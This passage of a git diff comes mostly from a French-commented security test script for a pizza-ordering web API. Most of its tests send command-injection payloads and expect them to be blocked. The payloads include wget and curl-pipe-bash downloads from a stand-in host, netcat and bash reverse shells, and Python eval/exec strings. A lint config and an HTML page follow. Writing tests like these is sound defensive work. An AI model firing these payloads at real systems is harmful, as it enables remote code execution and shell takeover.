'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - wget download"
|
||||
|
||||
# Test 10: curl command
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - curl pipe bash"
|
||||
|
||||
# Test 11: nc (netcat) reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - netcat reverse shell"
|
||||
|
||||
# Test 12: bash reverse shell
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
|
||||
403 "RCE - bash reverse shell"
|
||||
|
||||
print_section "3. RCE - Dans autres endpoints"
|
||||
|
||||
# Test 13: RCE dans adresse checkout
|
||||
http_test_client "POST" "/api/v1/checkout" \
|
||||
'{"delivery_address":"$(whoami)"}' \
|
||||
403 "RCE - Adresse checkout"
|
||||
|
||||
# Test 14: RCE dans login
|
||||
http_test_no_auth "POST" "/api/v1/auth/login" \
|
||||
'{"username":"$(id)","password":"test"}' \
|
||||
403 "RCE - Login username"
|
||||
|
||||
# Test 15: RCE dans commentaire
|
||||
http_test_client "POST" "/api/v1/commands/1/approve" \
|
||||
'{"rating":5,"comment":"$(uname -a)"}' \
|
||||
403 "RCE - Commentaire approbation"
|
||||
|
||||
# Test 16: RCE dans raison annulation
|
||||
http_test_client "POST" "/api/v1/commands/1/cancel" \
|
||||
'{"reason":"$(pwd)"}' \
|
||||
403 "RCE - Raison annulation"
|
||||
|
||||
print_section "4. RCE - Python/Perl/Ruby injection"
|
||||
|
||||
# Test 17: Python code execution
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - Python import os"
|
||||
|
||||
# Test 18: eval() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - eval injection"
|
||||
|
||||
# Test 19: exec() injection
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - exec injection"
|
||||
|
||||
# Test 20: system() call
|
||||
http_test_client "POST" "/api/v1/panier/add" \
|
||||
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
|
||||
403 "RCE - system call"
|
||||
}
|
||||
|
||||
main() {
|
||||
# Exécution des tests
|
||||
authenticate
|
||||
test_rce
|
||||
test_xss
|
||||
test_sql_injection
|
||||
http_test_no_auth
|
||||
}
|
||||
|
||||
main
|
||||
@@ -0,0 +1,23 @@
|
||||
import js from '@eslint/js'
|
||||
import globals from 'globals'
|
||||
import reactHooks from 'eslint-plugin-react-hooks'
|
||||
import reactRefresh from 'eslint-plugin-react-refresh'
|
||||
import tseslint from 'typescript-eslint'
|
||||
import { defineConfig, globalIgnores } from 'eslint/config'
|
||||
|
||||
export default defineConfig([
|
||||
globalIgnores(['dist']),
|
||||
{
|
||||
files: ['**/*.{ts,tsx}'],
|
||||
extends: [
|
||||
js.configs.recommended,
|
||||
tseslint.configs.recommended,
|
||||
reactHooks.configs.flat.recommended,
|
||||
reactRefresh.configs.vite,
|
||||
],
|
||||
languageOptions: {
|
||||
ecmaVersion: 2020,
|
||||
globals: globals.browser,
|
||||
},
|
||||
},
|
||||
])
|
||||
@@ -0,0 +1,17 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="mobile-web-app-capable" content="yes" />
|
||||
<meta name="apple-mobile-web-app-capable" content="yes" />
|
||||
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
|
||||
<title>projet</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user